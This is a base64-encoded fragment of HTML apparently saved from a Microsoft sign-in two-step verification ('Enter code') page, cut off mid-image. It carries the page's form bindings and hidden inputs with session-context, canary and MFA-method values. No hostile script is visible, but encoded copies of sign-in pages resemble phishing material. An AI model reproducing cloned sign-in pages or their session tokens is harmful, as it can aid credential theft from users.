ICAgICAgICAgICAgICAgaHRtbFdpdGhCaW5kaW5nczogc3RyW1wnQ1RfU0FPVENDX1NUUl9Ub2dnbGVcJ10sCiAgICAgICAgICAgICAgICAgICAgICAgIGNoaWxkQmluZGluZ3M6IHsgXCdzaWduSW5Bbm90aGVyV2F5XCc6IHsgY2xpY2s6IHN3aXRjaFRvT3RjUmVxdWVzdF9vbkNsaWNrIH0gfSI+SGF2aW5nIHRyb3VibGU/IDxhIGhyZWY9IiMiIGlkPSJzaWduSW5Bbm90aGVyV2F5Ij5TaWduIGluIGFub3RoZXIgd2F5PC9hPjwvZGl2PgogICAgICAgICAgICAgICAgPCEtLSAva28gLS0+CiAgICAgICAgICAgICAgICA8IS0tIGtvIGlmOiBzdnIudXJsTW9yZUluZm8gLS0+CiAgICAgICAgICAgICAgICA8ZGl2IGRhdGEtYmluZD0iY3NzOiB7IFwnZm9ybS1ncm91cFwnOiAhdHdvV2F5UG9sbGluZ05lZWRlZCB9IiBjbGFzcz0iZm9ybS1ncm91cCI+CiAgICAgICAgICAgICAgICAgICAgPGEgaWQ9Im1vcmVJbmZvVXJsIiB0YXJnZXQ9Il9ibGFuayIgaHJlZj0iaHR0cHM6Ly9nby5taWNyb3NvZnQuY29tL2Z3bGluay9wLz9MaW5rSWQ9NzA4NjE0IiBkYXRhLWJpbmQ9IgogICAgICAgICAgICAgICAgICAgICAgICAgICAgdGV4dDogc3RyW1wnQ1RfU1RSX01vcmVfSW5mb1wnXSwKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGhyZWY6IHN2ci51cmxNb3JlSW5mbywKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGFyaWFMYWJlbDogc3RyW1wnQ1RfU1RSX01vcmVfSW5mb19BcmlhTGFiZWxcJ10iIGFyaWEtbGFiZWw9Ik1vcmUgaW5mb3JtYXRpb24gYWJvdXQgdHdvIHN0ZXAgdmVyaWZpY2F0aW9uIj5Nb3JlIGluZm9ybWF0aW9uPC9hPgogICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICA8IS0tIC9rbyAtLT4KICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgPC9kaXY+CiAgICAgICAgPCEtLSAva28gLS0+CiAgICA8L2Rpdj4KPC9kaXY+Cgo8ZGl2IGNsYXNzPSJ3aW4tYnV0dG9uLXBpbi1ib3R0b20iIGRhdGEtYmluZD0iY3NzIDogeyBcJ2JvaWxlcnBsYXRlLWJ1dHRvbi1ib3R0b21cJzogdGVuYW50QnJhbmRpbmcuQm9pbGVyUGxhdGVUZXh0IH0iPgogICAgPGRpdiBjbGFzcz0icm93IiBkYXRhLWJpbmQ9ImNzczogeyBcJ21vdmUtYnV0dG9uc1wnOiB0ZW5hbnRCcmFuZGluZy5Cb2lsZXJQbGF0ZVRleHQgfSI+CiAgICAgICAgPGRpdiBkYXRhLWJpbmQ9ImNvbXBvbmVudDogeyBuYW1lOiBcJ2Zvb3Rlci1idXR0b25zLWZpZWxkXCcsCiAgICAgICAgICAgIHBhcmFtczogewogICAgICAgICAgICAgICAgc2VydmVyRGF0YTogc3ZyLAogICAgICAgICAgICAgICAgcmVtb3ZlQm90dG9tTWFyZ2luOiB0cnVlLAogICAgICAgICAgICAgICAgcHJpbWFyeUJ1dHRvbklkOiBcJ2lkU3VibWl0X1NBT1RDQ19Db250aW51ZVwnLAogICAgICAgICAgICAgICAgcHJpbWFyeUJ1dHRvblRleHQ6IHN0cltcJ0NUX1NBT1RDQ19TVFJfQ29udGludWVcJ10sCiAgICAgICAgICAgICAgICBzZWNvbmRhcnlCdXR0b25JZDogXCdpZEJ0bl9CYWNrXCcsCiAgICAgICAgICAgICAgICBzZWNvbmRhcnlCdXR0b25UZXh0OiBzdHJbXCdDVF9TQU9UQ0NfU1RSX0NhbmNlbFwnXSwKICAgICAgICAgICAgICAgIGlzU2Vjb25kYXJ5QnV0dG9uVmlzaWJsZTogIXNob3dTd2l0Y2hQcm9vZnNMaW5rLAogICAgICAgICAgICAgICAgaXNQcmltYXJ5QnV0dG9uVmlzaWJsZTogc3ZyLmZTaG93QnV0dG9ucyAmYW1wOyZhbXA7ICF0d29XYXlQb2xsaW5nTmVlZGVkICZhbXA7JmFtcDsgIWhpZGVJbnB1dENvbnRyb2xzKCksCiAgICAgICAgICAgICAgICBzZWNvbmRhcnlCdXR0b25EZXNjcmliZWRCeTogKHN2ci5mU2hvd0J1dHRvbnMgJmFtcDsmYW1wOyB0d29XYXlQb2xsaW5nTmVlZGVkKSA/IFwnaWREaXZfU0FPVENDX0Rlc2NyaXB0aW9uXCcgOiBudWxsIH0sCiAgICAgICAgICAgIGV2ZW50OiB7CiAgICAgICAgICAgICAgICBwcmltYXJ5QnV0dG9uQ2xpY2s6IHByaW1hcnlCdXR0b25fb25DbGljaywKICAgICAgICAgICAgICAgIHNlY29uZGFyeUJ1dHRvbkNsaWNrOiBzZWNvbmRhcnlCdXR0b25fb25DbGljayB9IH0iPjxkaXYgY2xhc3M9ImNvbC14cy0yNCBuby1wYWRkaW5nLWxlZnQtcmlnaHQgYnV0dG9uLWNvbnRhaW5lciBuby1tYXJnaW4tYm90dG9tIiBkYXRhLWJpbmQ9IgogICAgdmlzaWJsZTogaXNQcmltYXJ5QnV0dG9uVmlzaWJsZSgpIHx8IGlzU2Vjb25kYXJ5QnV0dG9uVmlzaWJsZSgpLAogICAgY3NzOiB7IFwnbm8tbWFyZ2luLWJvdHRvbVwnOiByZW1vdmVCb3R0b21NYXJnaW4gfSI+CgogICAgPCEtLSBrbyBpZjogaXNTZWNvbmRhcnlCdXR0b25WaXNpYmxlIC0tPjwhLS0gL2tvIC0tPgoKICAgIDxkaXYgZGF0YS1iaW5kPSJjc3M6IHsgXCdpbmxpbmUtYmxvY2tcJzogaXNQcmltYXJ5QnV0dG9uVmlzaWJsZSB9IiBjbGFzcz0iaW5saW5lLWJsb2NrIj4KICAgICAgICA8IS0tIHR5cGU9InN1Ym1pdCIgaXMgbmVlZGVkIGluLWFkZGl0aW9uIHRvIFwndHlwZVwnIGluIHByaW1hcnlCdXR0b25BdHRyaWJ1dGVzIG9ic2VydmFibGUgdG8gc3VwcG9ydCBJRTggLS0+CiAgICAgICAgPGlucHV0IHR5cGU9InN1Ym1pdCIgaWQ9ImlkU3VibWl0X1NBT1RDQ19Db250aW51ZSIgY2xhc3M9InN1Ym1pdC0yZmEgYnRuIGJ0bi1ibG9jayBidG4tcHJpbWFyeSIgZGF0YS1yZXBvcnQtZXZlbnQ9IlNpZ25pbl9TdWJtaXQiIGRhdGEtcmVwb3J0LXRyaWdnZXI9ImNsaWNrIiBkYXRhLXJlcG9ydC12YWx1ZT0iU3VibWl0IiBkYXRhLWJpbmQ9IgogICAgICAgICAgICAgICAgYXR0cjogcHJpbWFyeUJ1dHRvbkF0dHJpYnV0ZXMsCiAgICAgICAgICAgICAgICBleHRlcm5hbENzczogewogICAgICAgICAgICAgICAgICAgIFwnYnV0dG9uXCc6IHRydWUsCiAgICAgICAgICAgICAgICAgICAgXCdwcmltYXJ5XCc6IHRydWUgfSwKICAgICAgICAgICAgICAgIHZhbHVlOiBwcmltYXJ5QnV0dG9uVGV4dCgpIHx8IHN0cltcJ0NUX1BXRF9TVFJfU2lnbkluX0J1dHRvbl9OZXh0XCddLAogICAgICAgICAgICAgICAgaGFzRm9jdXM6IGZvY3VzT25QcmltYXJ5QnV0dG9uLAogICAgICAgICAgICAgICAgY2xpY2s6IHByaW1hcnlCdXR0b25fb25DbGljaywKICAgICAgICAgICAgICAgIGVuYWJsZTogaXNQcmltYXJ5QnV0dG9uRW5hYmxlZCwKICAgICAgICAgICAgICAgIHZpc2libGU6IGlzUHJpbWFyeUJ1dHRvblZpc2libGUsCiAgICAgICAgICAgICAgICBwcmV2ZW50VGFiYmluZzogcHJpbWFyeUJ1dHRvblByZXZlbnRUYWJiaW5nIiB2YWx1ZT0iVmVyaWZ5Ij4KICAgIDwvZGl2Pgo8L2Rpdj48L2Rpdj4KICAgIDwvZGl2Pgo8L2Rpdj4KCjwhLS0ga28gaWY6IHRlbmFudEJyYW5kaW5nLkJvaWxlclBsYXRlVGV4dCAtLT48IS0tIC9rbyAtLT48L2Rpdj48IS0tIC9rbyAtLT4KICAgICAgICAgICAgPCEtLSAva28gLS0+CiAgICAgICAgCiAgICAgICAgICAgIDwhLS0ga28gaWY6ICRwYXJlbnQuY3VycmVudFZpZXdJbmRleCgpID09PSAkaW5kZXgoKSAtLT48IS0tIC9rbyAtLT4KICAgICAgICAKICAgICAgICAgICAgPCEtLSBrbyBpZjogJHBhcmVudC5jdXJyZW50Vmlld0luZGV4KCkgPT09ICRpbmRleCgpIC0tPjwhLS0gL2tvIC0tPgogICAgICAgIAogICAgICAgICAgICA8IS0tIGtvIGlmOiAkcGFyZW50LmN1cnJlbnRWaWV3SW5kZXgoKSA9PT0gJGluZGV4KCkgLS0+PCEtLSAva28gLS0+CiAgICAgICAgCiAgICAgICAgICAgIDwhLS0ga28gaWY6ICRwYXJlbnQuY3VycmVudFZpZXdJbmRleCgpID09PSAkaW5kZXgoKSAtLT48IS0tIC9rbyAtLT4KICAgICAgICAKICAgICAgICAgICAgPCEtLSBrbyBpZjogJHBhcmVudC5jdXJyZW50Vmlld0luZGV4KCkgPT09ICRpbmRleCgpIC0tPjwhLS0gL2tvIC0tPgogICAgICAgIAogICAgICAgICAgICA8IS0tIGtvIGlmOiAkcGFyZW50LmN1cnJlbnRWaWV3SW5kZXgoKSA9PT0gJGluZGV4KCkgLS0+PCEtLSAva28gLS0+CiAgICAgICAgCiAgICAgICAgICAgIDwhLS0ga28gaWY6ICRwYXJlbnQuY3VycmVudFZpZXdJbmRleCgpID09PSAkaW5kZXgoKSAtLT48IS0tIC9rbyAtLT4KICAgICAgICA8IS0tIC9rbyAtLT4KICAgIDwvZGl2PgoJCgkKCQoJCgk8ZGl2IHN0eWxlPSJkaXNwbGF5Om5vbmU7IiBjbGFzcz0ic2hvdy1tZmExLWNvZGUgcGFnaW5hdGlvbi12aWV3IGFuaW1hdGUgaGFzLWlkZW50aXR5LWJhbm5lciBzbGlkZS1pbi1uZXh0IiBkYXRhLWJpbmQ9ImNzczogewogICAgICAgIFwnaGFzLWlkZW50aXR5LWJhbm5lclwnOiBzaG93SWRlbnRpdHlCYW5uZXIoKSAmYW1wOyZhbXA7IChzaGFyZWREYXRhLmRpc3BsYXlOYW1lIHx8IHN2ci5zUE9TVF9Vc2VybmFtZSksCiAgICAgICAgXCd6ZXJvLW9wYWNpdHlcJzogaGlkZVBhZ2luYXRlZFZpZXcuaGlkZVN1YlZpZXcoKSwKICAgICAgICBcJ2FuaW1hdGVcJzogYW5pbWF0ZSgpLAogICAgICAgIFwnc2xpZGUtb3V0LW5leHRcJzogYW5pbWF0ZS5pc1NsaWRlT3V0TmV4dCgpLAogICAgICAgIFwnc2xpZGUtaW4tbmV4dFwnOiBhbmltYXRlLmlzU2xpZGVJbk5leHQoKSwKICAgICAgICBcJ3NsaWRlLW91dC1iYWNrXCc6IGFuaW1hdGUuaXNTbGlkZU91dEJhY2soKSwKICAgICAgICBcJ3NsaWRlLWluLWJhY2tcJzogYW5pbWF0ZS5pc1NsaWRlSW5CYWNrKCkgfSI+CgogICAgICAgIDwhLS0ga28gZm9yZWFjaDogdmlld3MgLS0+CiAgICAgICAgICAgIDwhLS0ga28gaWY6ICRwYXJlbnQuY3VycmVudFZpZXdJbmRleCgpID09PSAkaW5kZXgoKSAtLT48IS0tIC9rbyAtLT4KICAgICAgICAKICAgICAgICAgICAgPCEtLSBrbyBpZjogJHBhcmVudC5jdXJyZW50Vmlld0luZGV4KCkgPT09ICRpbmRleCgpIC0tPjwhLS0gL2tvIC0tPgogICAgICAgIAogICAgICAgICAgICA8IS0tIGtvIGlmOiAkcGFyZW50LmN1cnJlbnRWaWV3SW5kZXgoKSA9PT0gJGluZGV4KCkgLS0+PCEtLSAva28gLS0+CiAgICAgICAgCiAgICAgICAgICAgIDwhLS0ga28gaWY6ICRwYXJlbnQuY3VycmVudFZpZXdJbmRleCgpID09PSAkaW5kZXgoKSAtLT4KICAgICAgICAgICAgICAgIDwhLS0ga28gdGVtcGxhdGU6IHsgbm9kZXM6IFskZGF0YV0sIGRhdGE6ICRwYXJlbnQgfSAtLT48ZGl2IGRhdGEtdmlld2lkPSIxIiBkYXRhLXNob3dpZGVudGl0eWJhbm5lcj0idHJ1ZSIgZGF0YS1iaW5kPSJwYWdlVmlld0NvbXBvbmVudDogeyBuYW1lOiBcJ290Yy1jb25maXJtLXZpZXdcJywKICAgICAgICAgICAgICAgICAgICBwYXJhbXM6IHsKICAgICAgICAgICAgICAgICAgICAgICAgc2VydmVyRGF0YTogc3ZyLAogICAgICAgICAgICAgICAgICAgICAgICBzZXJ2ZXJFcnJvcjogaW5pdGlhbEVycm9yLAogICAgICAgICAgICAgICAgICAgICAgICB1c2VybmFtZTogc2hhcmVkRGF0YS51c2VybmFtZSwKICAgICAgICAgICAgICAgICAgICAgICAgZm9jdXNEZWZhdWx0RmllbGQ6IHRydWUsCiAgICAgICAgICAgICAgICAgICAgICAgIHN1cHBvcnRzQmFjazogdHJ1ZSwKICAgICAgICAgICAgICAgICAgICAgICAgaXNJbml0aWFsU3RhdGU6IGlzSW5pdGlhbFN0YXRlLAogICAgICAgICAgICAgICAgICAgICAgICBzZW50UHJvb2Y6IHNoYXJlZERhdGEuc2VudFByb29mLAogICAgICAgICAgICAgICAgICAgICAgICBvdGNQcm9vZnM6IHNoYXJlZERhdGEub3RjUHJvb2ZzLAogICAgICAgICAgICAgICAgICAgICAgICBpc0dlbmVyYWxWZXJpZnk6IHNoYXJlZERhdGEuaXNHZW5lcmFsVmVyaWZ5LAogICAgICAgICAgICAgICAgICAgICAgICBwcm9vZkNvbmZpcm1hdGlvbjogc2hhcmVkRGF0YS5wcm9vZkNvbmZpcm1hdGlvbiwKICAgICAgICAgICAgICAgICAgICAgICAgc2hvd0NhbmNlbEJ1dHRvbjogc2hhcmVkRGF0YS5zaG93Q2FuY2VsQnV0dG9uLAogICAgICAgICAgICAgICAgICAgICAgICB0cnVzdGVkRGV2aWNlQ2hlY2tib3hDb25maWc6IHNoYXJlZERhdGEudHJ1c3RlZERldmljZUNoZWNrYm94Q29uZmlnLAogICAgICAgICAgICAgICAgICAgICAgICBjdXJyZW50UG9sbFN0YXJ0VGltZTogc2hhcmVkRGF0YS5jdXJyZW50UG9sbFN0YXJ0VGltZSwKICAgICAgICAgICAgICAgICAgICAgICAgY3VycmVudFBvbGxFbmRUaW1lOiBzaGFyZWREYXRhLmN1cnJlbnRQb2xsRW5kVGltZSwKICAgICAgICAgICAgICAgICAgICAgICAgc2Vzc2lvbklkZW50aWZpZXI6IHNoYXJlZERhdGEuc2Vzc2lvbklkZW50aWZpZXIsCiAgICAgICAgICAgICAgICAgICAgICAgIHR3b1dheVBvbGxpbmdOZWVkZWQ6IHNoYXJlZERhdGEudHdvV2F5UG9sbGluZ05lZWRlZCwKICAgICAgICAgICAgICAgICAgICAgICAgaGFzVG90cFYyT25seTogc2hhcmVkRGF0YS5oYXNUb3RwVjJPbmx5LAogICAgICAgICAgICAgICAgICAgICAgICBoYXNUb3RwVjFPbmx5OiBzaGFyZWREYXRhLmhhc1RvdHBWMU9ubHksCiAgICAgICAgICAgICAgICAgICAgICAgIGZsb3dUb2tlbjogc2hhcmVkRGF0YS5mbG93VG9rZW4gfSwKICAgICAgICAgICAgICAgICAgICBldmVudDogewogICAgICAgICAgICAgICAgICAgICAgICBjYW5jZWw6IHZpZXdfb25DYW5jZWwsCiAgICAgICAgICAgICAgICAgICAgICAgIHVwZGF0ZUZsb3dUb2tlbjogJHRmYVBhZ2Uudmlld19vblVwZGF0ZUZsb3dUb2tlbiwKICAgICAgICAgICAgICAgICAgICAgICAgc2hvd0RlYnVnRGV0YWlsczogJHRmYVBhZ2UudG9nZ2xlRGVidWdEZXRhaWxzX29uQ2xpY2ssCiAgICAgICAgICAgICAgICAgICAgICAgIHN1Ym1pdFJlYWR5OiAkdGZhUGFnZS52aWV3X29uU3VibWl0UmVhZHksCiAgICAgICAgICAgICAgICAgICAgICAgIHNldFBlbmRpbmdSZXF1ZXN0OiAkdGZhUGFnZS52aWV3X29uU2V0UGVuZGluZ1JlcXVlc3QsCiAgICAgICAgICAgICAgICAgICAgICAgIHNldEJhY2tCdXR0b25TdGF0ZTogdmlld19vblNldElkZW50aXR5QmFja0J1dHRvblN0YXRlIH0gfSI+PCEtLSAgLS0+Cgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJ0eXBlIiBkYXRhLWJpbmQ9InZhbHVlOiBwb3N0VHlwZSIgdmFsdWU9IjE5Ij4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iR2VuZXJhbFZlcmlmeSIgZGF0YS1iaW5kPSJ2YWx1ZTogaXNHZW5lcmFsVmVyaWZ5IiB2YWx1ZT0iZmFsc2UiPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJyZXF1ZXN0IiBkYXRhLWJpbmQ9InZhbHVlOiBzdnIuc0N0eCIgdmFsdWU9InJRUUlBUkFBalpJN2JOTmdBSVR0T2pWSmFhSHFBRWdNSUdBQjFjbl8teEhYa1pESTIybVVOSTVUb21TSlhQdlBvN0g5SjM3RVNWZ1FMSXdkV0dCazdBUklsYW9PcUhNcnBNNmRFQXNWQWdrWW9DT3RXTmpnaHRPTnBfdnVIZ1dqTUhFSF9CSExuRHNEMm0zSTZPZzhfU1ZuYVc3eF9mZGplMmRmM2RuTl9yeS1MUHhDMi1TTnJ1Y04zRVFzaG4zUHhMZ2Z4ZTEyVDBkUkhWc3hIR2l4WFpJOElza1RrdHllRWVPY0tFRk9FZ1dSalFPNElnSXhLbWtBQ0NzR1pDRGtkSVlIYUlQUmVKNWpkQ2p5aU5WRVVXREY0NW5MYTBuZjY3TG5ocDNlRlAyWWliU3hZN1VHMlBWZVVwX0lUTU9YTXJnUTVKT3BGTWV2bHhrRHAtVXhXLWp3NWxqSmw1V2tXR3kwT2tETFBpd1V4dzdpQWdtQ1hOQk11UlhOcmFSemZLclptUXFGNm5pNm1yR1VKTTV5Y2pMVlQ5VzFjVUVKY3ByUmFhYW5xbG1xRnh2NUlWWktBZTZPQktQdlo1Mi1EM0dYRTRCUXI2R3FZOG5yLVdHak11SFZpY2t5amwxbHk1N2M3MlpLWmstYlZtdU12eG1INmFJU2NFTzlOSEZrS0lFNllGVGRITUhSV2lzdXhYMnhtWlpXRzAyNTNCNm9JbV9uUmpVN3RabDNCYTlsVk1xaXNySk5fUmVvdHhSOXRyNkY3UU9LeGdOazk0eVAxRzFrOWN4Sk5PaVpaMlVzRjlzUGRHUm9Uc2RFZGhkYnlEM25kUlFpUDRUSXo2RjVRQ1hDNGJsRjRocHhremdOa2E5bXo4aV9pUTZ1WEgzMHV2ajRIWEVvZXpaeE1Cc3pqSFd2V3gzQ3RBcEhOY1ZESTFld0xLSFRWbEZGazVLY2JUYmpJT3NMWU9xNTk2VUUzS0xKTFpyZW95TmhhcEc0UmFVcjhJUW12OUhVc3d2a1h1UmZOenE2U0Q2Wlh3Z1RTNUhJOUs2X3ZLRWV5X3NMeE9tbHc2OEhUMTk4ZWY1Vl9nMDEiPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJtZmFMYXN0UG9sbFN0YXJ0IiBkYXRhLWJpbmQ9InZhbHVlOiBjdXJyZW50UG9sbFN0YXJ0VGltZSIgdmFsdWU9IjE2NTU4MDEwMzQ5NjgiPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJtZmFMYXN0UG9sbEVuZCIgZGF0YS1iaW5kPSJ2YWx1ZTogY3VycmVudFBvbGxFbmRUaW1lIiB2YWx1ZT0iMTY1NTgwMTAzNTg3NCI+Cgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBkYXRhLWJpbmQ9ImF0dHI6IHsgbmFtZTogc3ZyLnNBdXRoTWV0aG9kSW5wdXRGaWVsZE5hbWUgfSwgdmFsdWU6IHByb29mRGF0YSIgbmFtZT0ibWZhQXV0aE1ldGhvZCIgdmFsdWU9IlBob25lQXBwT1RQIj4KCjwhLS0ga28gaWY6IHN2ci5jYW5hcnkgLS0+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImNhbmFyeSIgZGF0YS1iaW5kPSJ2YWx1ZTogc3ZyLmNhbmFyeSIgdmFsdWU9ImRkVXRoUnExQ1MxdlRRdGV2czVtbTVnZlNlUGE5QTNubFo2MEV1NTB6dHM9NDoxIj4KPCEtLSAva28gLS0+CjwhLS0ga28gaWY6IHByb29mQ29uZmlybWF0aW9uIC0tPjwhLS0gL2tvIC0tPgoKPGRpdiBpZD0iaWREaXZfU0FPVENDX1RpdGxlIiBjbGFzcz0icm93IHRleHQtdGl0bGUiIHJvbGU9ImhlYWRpbmciIGFyaWEtbGV2ZWw9IjEiIGRhdGEtYmluZD0idGV4dDogdHdvV2F5UG9sbGluZ05lZWRlZCA/IHN0cltcJ0NUX1NBT1RDQVNfU1RSX1RpdGxlXCddIDogc3RyW1wnQ1RfU0FPVENTX1NUUl9UaXRsZVwnXSI+RW50ZXIgY29kZTwvZGl2Pgo8ZGl2IGNsYXNzPSJyb3cgdGV4dC1ib2R5Ij4KICAgIDxkaXYgZGF0YS1iaW5kPSJjb21wb25lbnQ6IHsgbmFtZTogXCdwcm9vZi1pbWFnZS1jb250cm9sXCcsIHBhcmFtczogeyB0eXBlOiBwcm9vZkltYWdlVHlwZSwgc21hbGw6IHRydWUsIGFuaW1hdGU6IHR3b1dheVBvbGxpbmdOZWVkZWQgfSB9Ij48IS0tICAtLT4KCjwhLS0ga28gaWY6IHR5cGUgPT09IFBST09GLlR5cGUuRW1haWwgLS0+PCEtLSAva28gLS0+Cgo8IS0tIGtvIGlmOiB0eXBlID09PSBQUk9PRi5UeXBlLlNNUyB8fCB0eXBlID09PSBQUk9PRi5UeXBlLlR3b1dheVNNUyB8fCB0eXBlID09PSBQUk9PRi5UeXBlLlR3b1dheVNNU0FsdGVybmF0ZU1vYmlsZSAtLT48IS0tIC9rbyAtLT4KCjwhLS0ga28gaWY6IHR5cGUgPT09IFBST09GLlR5cGUuVm9pY2UgfHwgdHlwZSA9PT0gUFJPT0YuVHlwZS5Ud29XYXlWb2ljZSB8fCB0eXBlID09PSBQUk9PRi5UeXBlLlR3b1dheVZvaWNlQWx0ZXJuYXRlTW9iaWxlIHx8IHR5cGUgPT09IFBST09GLlR5cGUuVHdvV2F5Vm9pY2VPZmZpY2UgLS0+PCEtLSAva28gLS0+Cgo8IS0tIGtvIGlmOiB0eXBlID09PSBQUk9PRi5UeXBlLlRPVFBBdXRoZW50aWNhdG9yVjIgLS0+PCEtLSAva28gLS0+Cgo8IS0tIGtvIGlmOiB0eXBlID09PSBQUk9PRi5UeXBlLlRPVFBBdXRoZW50aWNhdG9yIC0tPgogICAgPCEtLSBrbyBjb21wb25lbnQ6IFwnYWNjZXNzaWJsZS1pbWFnZS1jb250cm9sXCcgLS0+PCEtLSBrbyBpZjogKGlzSGlnaENvbnRyYXN0QmxhY2tUaGVtZSB8fCBoYXNEYXJrQmFja2dyb3VuZCB8fCBzdnIuZkhhc0JhY2tncm91bmRDb2xvcikgJiYgIWlzSGlnaENvbnRyYXN0V2hpdGVUaGVtZSAtLT48IS0tIC9rbyAtLT4KPCEtLSBrbyBpZjogKGlzSGlnaENvbnRyYXN0V2hpdGVUaGVtZSB8fCAoIWhhc0RhcmtCYWNrZ3JvdW5kICYmICFzdnIuZkhhc0JhY2tncm91bmRDb2xvcikpICYmICFpc0hpZ2hDb250cmFzdEJsYWNrVGhlbWUgLS0+CjwhLS0ga28gdGVtcGxhdGU6IHsgbm9kZXM6IFtkYXJrSW1hZ2VOb2RlXSwgZGF0YTogJHBhcmVudCB9IC0tPjxpbWcgY2xhc3M9InRpbGUtaW1nIHNtYWxsIiByb2xlPSJwcmVzZW50YXRpb24iIHBuZ3NyYz0iZGF0YTppbWFnZS9wbmc7YmFzZTY0LGlWQk9SdzBLR2dvQUFBQU5TVWhFVWdBQUFEQUFBQUF3Q0FZQUFBQlhBdm1IQUFBQUNYQklXWE1BQUFzU0FBQUxFZ0hTM1g3OEFBQUJqMGxFUVZSbzN1MlowVzNDTUJDR1A2cSt3d2pkZ0hTQ3hoT1VFZGlnYk5CMGczYUMwZ21nRS94aGc3QUIzUUFtb0M5bnlZcENRYUtLb2IxN0liSWQ2VDdmLzU4TkRQYjdQZGNjTjF4NU9JQURPSUFET0lBRE9FRE91RDIySUlTUTliSWthZkMvSzNEcVR2eDJuRnA1TjdFRDlPV0JIN1JhQWx0SlRjYzRRQ05wMjVvYkFZVjVxODRDRUVLWUFCVXdCbFpBYWVNVk1BT0d5ZG8zU1RON2J1eWRPTGNEQ2ttYjNpUVVRcWlCUlpwSUVxVWwvd1hzYk96SmdMRjMwcm1oYlVUdkh0Z0I2NDd4R2dpUzdxSk1MT0x6ZlRJWDM1LzBEVENUTkFLV0hlZEZkVURYMFFjYjgwY0JqQkxvL2p6UU51d0JtUlhBUEtuV1BLbUVrcVVyWUhwUmJUU0VNTFZkSFZ2eVpkS0p0cFowOU1DRG1mNHlBQ3o1ZHpQbjJqcE1rMVpQVW1rUy9MRGhaMnV0L1o4REhmRnFuNStTSmkyNGFON2FLckpKSkVaMkFOTjk3UCtQclF2Wmk4bHFrZlQvdUhiWlB1eHlTZWlZREtMK1NaSmZuZU9Cc3lvZ3FVb1BJV3VmeDY3ZHBWL21ITUFCTW53ZnlQM3J4Sit0d01EL0kzTUFCM0FBQjNBQUIzQ0Fmd3p3RGY4ZmpNeWRBK0tVQUFBQUFFbEZUa1N1UW1DQyIgc3Znc3JjPSJkYXRhOmltYWdlL3N2Zyt4bWw7YmFzZTY0LFBITjJaeUI0Yld4dWN6MGlhSFIwY0RvdkwzZDNkeTUzTXk1dmNtY3ZNakF3TUM5emRtY2lJSGRwWkhSb1BTSTBPQ0lnYUdWcFoyaDBQU0kwT0NJZ2RtbGxkMEp2ZUQwaU1DQXdJRFE0SURRNElqNDhkR2wwYkdVK1lYTnpaWFJ6UEM5MGFYUnNaVDQ4Y21WamRDQjNhV1IwYUQwaU5EZ2lJR2hsYVdkb2REMGlORGdpSUdacGJHdzlJbTV2Ym1VaUx6NDhjR0YwYUNCa1BTSk5NemdzTVRSSU1UQldNelJJTXpoV01UUnRNaXd5TWtnNFZqRXlTRFF3VmpNMlRURTNMalk0T0N3eE9DNDRWakk0TGpneU9FZ3hOUzQxTXpGV01qRXVNak0wWVRNdU1pd3pMaklzTUN3d0xERXRMalkzTWk0ME0yd3RMakkyTmk0eE1UZGhNaTQxTlN3eUxqVTFMREFzTUN3eExTNDFOakl1TVRnNExESXVOREl6TERJdU5ESXpMREFzTUN3eExTNHpMakEzY1MwdU1UUXhMakF5TXkwdU1qZ3hMakExTlZZeU1DNHlOalp4TGpReU1pMHVNVEkxTGpneE15MHVNamd4ZEM0M05qWXRMak0wTkdFNExqSTFNeXc0TGpJMU15d3dMREFzTUN3eExqTTBOQzB1T0RRMGFERXVNekV6YlRRdU5UTXhMRGd1TWpNMGFEUXVNVFUyZGpFdU9FZ3hPUzQ0TlRsMkxTNDNOV0V6TGpJNU1pd3pMakk1TWl3d0xEQXNNU3d1TWpVdE1TNHpORFFzTkM0eE9ETXNOQzR4T0RNc01Dd3dMREVzTGpZeU5TMHhMakEzT0N3MUxqY3NOUzQzTERBc01Dd3hMQzQ0TkRRdExqZ3lPSEV1TWpFNUxTNHhPRGN1TkRNNExTNHpOVEowTGpReU1pMHVNekp4TGpRMU15MHVNekV5TGpjMk5pMHVOVGM0WVRJdU5Ua3pMREl1TlRrekxEQXNNQ3d3TEM0ekxTNHlPREZzTGpJMUxTNHlPREZoTXk0eE5EZ3NNeTR4TkRnc01Dd3dMREFzTGpNeU9DMHVOVFl5TERFdU5Ua3NNUzQxT1N3d0xEQXNNQ3d1TVRBNUxTNDJNRGtzTVM0eE56WXNNUzR4TnpZc01Dd3dMREF0TGpNMU9TMHVPVE0zTERFdU5UVXlMREV1TlRVeUxEQXNNQ3d3TFRFdU1EYzRMUzR6TWpnc015NDJNalVzTXk0Mk1qVXNNQ3d3TERBdE1pNDBNaklzTVZZeE9TNDJPRGhoTkM0NE5qWXNOQzQ0TmpZc01Dd3dMREVzTVM0ek5Ua3RMall5TlN3MUxqVTBPQ3cxTGpVME9Dd3dMREFzTVN3eExqVXhOaTB1TWl3MExqUTFOaXcwTGpRMU5pd3dMREFzTVN3eExqTTBOQzR4T0Rnc01pNDBOakVzTWk0ME5qRXNNQ3d3TERFc01Td3VOVFl6TERJdU1qUXlMREl1TWpReUxEQXNNQ3d4TEM0Mk1qVXVPRGMxTERNdU1EQTNMRE11TURBM0xEQXNNQ3d4TEM0eU1Ua3NNUzR4TlRZc015NDFNemdzTXk0MU16Z3NNQ3d3TERFdExqQTFOUzQyTkRFc015NDNMRE11Tnl3d0xEQXNNUzB1TVRRNExqVTJNeXd6TGpRek9Td3pMalF6T1N3d0xEQXNNUzB1TlRZeUxqazFNeXczTGpJc055NHlMREFzTUN3eExTNDRMamh4TFM0eU1Ua3VNVGN5TFM0ME5UTXVNelEwZEMwdU5EZzBMak0wTkd3dExqTXlMakl6TkhFdExqRTBPQzR4TURrdExqTXVNak0wTFM0eE5UWXVNVEE1TFM0eU9Ea3VNakU1ZEMwdU1qVTRMakl4T1hFdExqRXdPUzR4TWpVdExqSXVNakkzZEMwdU1UWTBMakl4TVdFdU56WXpMamMyTXl3d0xEQXNNQzB1TVRReExqUXdOazB5Tnk0NE1qZ3NNamd1T